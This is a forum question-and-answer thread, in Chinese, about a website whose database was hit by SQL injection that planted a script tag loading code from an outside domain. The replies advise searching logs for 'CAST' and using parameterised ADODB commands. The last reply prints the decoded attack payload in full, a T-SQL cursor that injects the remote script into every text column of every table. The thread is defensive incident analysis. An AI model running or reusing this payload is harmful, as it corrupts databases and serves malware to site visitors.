2012-08-01 59 views
1

它似乎有一个<script src="http://xinthesidersdown.com">被注入客户端服务器,我已经检查了日志以查看注入的位置和方式。不幸的是,当我搜索xinthesidersdown以查看它是否被注入时,我没有看到它显示任何结果。有没有人有任何建议,以了解入侵者如何进入并将此代码注入数据库?谢谢。搜索SQL注入日志

回答

2

寻找在你的日志条目单词“CAST” ......

+0

找到它搜索'CAST'谢谢。 – 2012-08-01 13:21:34

2

我有同样的问题。

我们媒体链接有多个数据库注射前 - 但能够阻止他们的感谢与ADODB命令执行替换正常打开的记录:

例子:

前:

szSQL = "SELECT ...." 
adoRstM.CursorLocation = adUseClient 
adoRstM.CursorType = adOpenStatic 
adoRstM.LockType = adLockBatchOptimistic 
adoRstM.Open szSQL, adoCon 

现在

Set objCommand = Server.CreateObject("ADODB.COMMAND") 
Set objCommand.ActiveConnection = adoCon 
objCommand.CommandText = szSQL 
objCommand.CommandType = adCmdText 
Set param1 = objCommand.CreateParameter ("nMenu", adInteger, adParamInput) 
param1.value = Cint(nMenu) 
objCommand.Parameters.Append param1 
Set param1 = objCommand.CreateParameter ("nSubMenu", adInteger, adParamInput) 
param1.value = Cint(nSubMenu) 
objCommand.Parameters.Append param1 
Set adoRstM = objCommand.Execute() 

但是我们不得不将它替换到任何地方!

我现在检查我们的网站 - 如果我们可能错过了一个。 也许这可以帮助你......

2

要在Einav的回答阐述(我和她一起工作),注射有效载荷是通过使用模糊CAST函数将十六进制格式负载转换为实际恶意查询字符串,然后由SQL exec命令执行。通用注射格式可以看到 here

在这种情况下,具体的有效载荷翻译成:

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['[email protected]+'] SET ['[email protected]+']=''"></title><script src="http://xinthesidersdown.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

希望有所帮助。